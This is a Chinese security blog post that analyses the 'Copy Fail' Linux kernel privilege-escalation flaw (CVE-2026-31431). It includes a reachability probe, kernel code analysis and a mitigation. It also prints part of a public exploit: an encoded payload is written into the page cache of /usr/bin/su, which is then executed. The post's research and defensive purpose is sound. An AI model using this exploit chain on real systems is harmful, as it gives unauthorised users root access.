Linux 内核史诗级提权漏洞:CVE-2026-31431 复现与分析

背景概述

2026 年 4 月,Linux Kernel 被披露存在一个高危本地权限提升漏洞:

  • CVE 编号:CVE-2026-31431
  • 代号:Copy Fail
  • 漏洞类型:Local Privilege Escalation (LPE)
  • CVSS:7.8(High)

受影响内核范围:

sql 复制代码
72548b093ee3 <= commit < a664bf3d603d

受影响操作系统:

  • Ubuntu 24.04 / 22.04 / 20.04
  • RHEL 8 / 9 / 10
  • Amazon Linux 2023
  • SUSE SLES 15 / 16
  • 等等

据安全团队分析,该漏洞已在 Ubuntu / RHEL / Amazon Linux / SUSE 等多发行版中被验证存在可利用路径。

漏洞复现

实验环境准备

系统:受影响范围内的 Ubuntu / Amazon Linux / RHEL / SUSE 测试机

基础信息确认

通过命令排查版本

bash 复制代码
uname -r

检查内核配置

bash 复制代码
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

返回结果为 n 时表示彻底关闭 AEAD 用户态接口,通常不受该攻击路径影响。 返回结果为 y 时表示静态编译进内核,lsmod 查不到模块,但接口仍然存在。 返回结果为 m 时表示模块方式构建,可加载即受影响

脚本检测

scss 复制代码
import socket
s = socket.socket(38, 5, 0)
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
print("authencesn AEAD bind success")

如果以上命令可以由普通用户执行成功,则说明关键攻击入口仍然可达(如下图所示)

公开 poc 复现

公开 PoC 位于 Theori 仓库:github.com/theori-io/c...

bash 复制代码
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

正文不内嵌完整代码。仅供授权环境下的安全研究与防御验证,严禁非法利用!

python 复制代码
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):

...

f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

需要强调的是,该漏洞污染的是 page cache,磁盘文件本身不发生变化。因此,在复现做文件哈希验证时可能出现现象:

下图利用后的哈希

当 page cache 被回收、机器重启,或者目标文件重新从磁盘加载后,in-memory image 会恢复到磁盘上的原始内容。

恢复的哈希

漏洞分析

algif_aead

漏洞引入点对应上游提交 72548b093ee3 后的 crypto/algif_aead.c。 该提交为了支持 AEAD in-place operation,解密路径会把 TX SGL 中的 tag SGL 链接到 RX SGL 后面。

核心代码

rust 复制代码
/* Copy AAD || CT to RX SGL buffer for in-place operation. */
err = crypto_aead_copy_sgl(null_tfm, tsgl_src,
                           areq->first_rsgl.sgl.sg, outlen);

/* Create TX SGL for tag and chain it to RX SGL. */
areq->tsgl_entries = af_alg_count_tsgl(sk, processed, processed - as);
areq->tsgl = sock_kmalloc(sk, array_size(sizeof(*areq->tsgl),
                         areq->tsgl_entries), GFP_KERNEL);

sg_init_table(areq->tsgl, areq->tsgl_entries);

/* Release TX SGL, except for tag data and reassign tag data. */
af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as);

/* chain the areq TX SGL holding the tag with RX SGL */
sg_unmark_end(sgl_prev->sg + sgl_prev->npages - 1);
sg_chain(sgl_prev->sg, sgl_prev->npages + 1, areq->tsgl);

aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src,
                       areq->first_rsgl.sgl.sg, used, ctx->iv);

当输入数据来自 splice() 时,TX SGL 里的页可能是目标文件的 page cache 页;而 sg_chain() 又把这些 tag 页接到了 RX SGL 后面,后续 AEAD 实现看到的 dst 就不再只是用户态接收缓冲区

authencesn

crypto_authenc_esn_decrypt() 中,authencesn 为了计算 ESN 认证,会临时移动 AAD 中的序列号字段,这里的写入目标是 dst

关键代码如下

scss 复制代码
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);

scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

scatterwalk_map_and_copy(..., out = 1) 表示向 scatterlist 写数据。这里的写入长度固定为 4,写入偏移为:

复制代码
assoclen + cryptlen

在正常语义下,这只是 authencesn 为处理 ESN 字段做的字段移动。但在漏洞链路中,dst 已经通过 algif_aead 接上了来自 splice() 的 page cache,于是这 4 字节写入会越过 RX buffer,命中被链入的 page cache page。

setuid

利用并不需要直接写磁盘文件。攻击者只需要让目标 setuid binary 的页面进入 page cache,再通过 splice() 把这些页面送入 AF_ALG 的 TX SGL。随后 recv() 触发 AEAD decrypt path,authencesn 的 4-byte 写入就能落到对应的 page cache page 上。

Xint 的分析指出,Copy Fail 能让本地非特权用户对任意可读文件的 page cache 触发 deterministic、controlled 4-byte 写入。内核不会把这个 page 标记成 dirty,磁盘文件也不会被更新。

xint.io/blog/copy-f...

整体链路大致如下:

scss 复制代码
algif_aead decrypt
    -> crypto_aead_copy_sgl()
    -> af_alg_pull_tsgl()
    -> sg_chain()
    -> aead_request_set_crypt()
    -> crypto_authenc_esn_decrypt()
    -> scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)

漏洞修复

临时缓解措施,禁用 AF_ALG AEAD 模块

bash 复制代码
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead 2>/dev/null || true

根本修复方式是升级到包含上游修复的内核版本,随后重启

复制代码
sudo reboot

参考

  • Linux kernel AF_ALG subsystem analysis
  • Sysdig / Theori / SUSE disclosure reports
  • SUSE advisory on Copy Fail
  • Orca Security technical breakdown
  • Copy.fail research notes
  • xint.io/blog/copy-f...

免责声明 本文章所涉及的漏洞复现仅供技术研究和学习之用。所有操作仅在合法授权的环境中进行,绝不用于任何非法活动。作者对因本文章内容导致的任何后果不承担责任。请读者务必遵守相关法律法规,合理使用本知识。


如果你对本文内容感兴趣,欢迎关注我的公众号 "Sh1n Sec",获取更多网络安全、漏洞分析等相关内容。对于文章中的技术细节,若有任何问题,欢迎私信我,我会尽量帮助解答。期待与您的交流!

相关推荐
极光技术熊6 小时前
Spring AI 从入门到精通:构建你的 AI 开发知识体系
后端·github
用户39483951075537 小时前
怎么让我的 Agent 真正"懂"我?——关于记忆、经验学习与预测的一些真实体验
github
远航_13 小时前
git submodule
前端·后端·github
fthux15 小时前
如果你用 Mac,那你可能需要 Noti Shift
macos·开源·github
程序员天天困1 天前
Loop Engineering 实战:/goal 命令让 AI 自己写完整项目
github
徐小夕1 天前
我们开源了一款“框架无关”的思维导图编辑器,3分钟集成到任意系统
前端·javascript·github
小爷毛毛_卓寿杰1 天前
我把 397B 的「Agentic 大脑」塞进了 Xinference,一键部署 Nex-N2
人工智能·架构·github
小爷毛毛_卓寿杰1 天前
我把一个 3B 模型塞进了 Xinference,然后它干掉了 DeepSeek V3.2
人工智能·开源·github
凌奕1 天前
别用文档约束你的 Agent:聊聊 Agent 开发流程的思想
llm·github·agent
HelloGitHub2 天前
《HelloGitHub》第 123 期
开源·github